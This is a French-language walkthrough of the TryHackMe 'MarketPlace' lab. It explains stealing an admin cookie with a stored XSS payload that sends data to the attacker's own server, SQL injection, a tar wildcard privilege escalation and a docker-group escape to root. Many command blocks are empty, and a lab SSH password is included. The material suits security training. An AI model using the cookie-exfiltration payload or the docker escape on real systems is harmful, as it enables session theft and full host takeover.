#MarketPlace TryHackMe
Nous arrivons donc sur un site web, qui propose de vendre des produits, pour cela, on peut les vendre et les signaler également à l’administrateur. Il y a beaucoup de pistes à explorer comme une LFI, un contournement de token, ou encore une xss.
Après quelques tests on remarque qu’on arrive à alert() en effectuant une xss dans la description d’un produit, on va donc injecter une xss qui récupérera le cookie admin lorsqu’on lui signalera le produit.
<script>document.location=
http://$ipVPN:8000?c=${document.cookie}</script>
Ce qui est particulier c’est que la box n’a pas internet faut donc lancer un serveur python depuis notre machine pour récupérer le token.
|
|
On peut à présent se connecter en tant qu’admin sur le site.
On remarque que l’admin à accès à la liste d’utilisateur via les id, on va donc essayer de réaliser une injection sql. Il y a dans le backend un limit 1, il faut donc mettre un user inexistant pour que notre requête s’effectue, autrement il nous renverra l’user.
|
|
@b_ENXkGYUCAv3zJ
|
|
On a donc une connexion ssh sur le compte de jake:@b_ENXkGYUCAv3zJ
Une fois connecté en ssh, avec la commande sudo -l
, on réalise qu’on à les droits pour lancer :
|
|
Pour lancer une commande en tant qu’un autre user il faut utiliser l’option sudo -u
sudo -u michael /opt/backups/backup.sh
Nous savons que la backup réalise ce script bash :
|
|
Nous pouvons donc tenter une privesc en exploitant le wildcard de tar.
|
|
Ce qui équivaut dans le backend :
|
|
En lançant /bin/bash -p on aura un bash en gardant les privilèges.
|
|
On est à présent connecté à l’user michael, si on check ses id on remarque qu’il est dans le groupe docker.
uid=1002(michael) gid=1002(michael) groups=1002(michael),999(docker)
On lance donc docker images
ou docker image ls
qui va nous permettre de lister les images docker présente sur la machine.
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Il indique que le périphérique d’entrée n’est pas un TTY. Alors, obtenons un TTY en utilisant python.
python -c "import pty;pty.spawn('/bin/bash')"
Ici, nous avons créé un nouveau conteneur docker à partir de l’image alpine, monté le système de fichiers racine sur /mnt, démarré le conteneur docker en mode interactif, ce qui nous donnera un shell avec lequel travailler, changé la racine en /mnt et finalement dit de supprimer le conteneur à la sortie.
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
à présent si on lance des commandes elles seront exécuté en tant que root.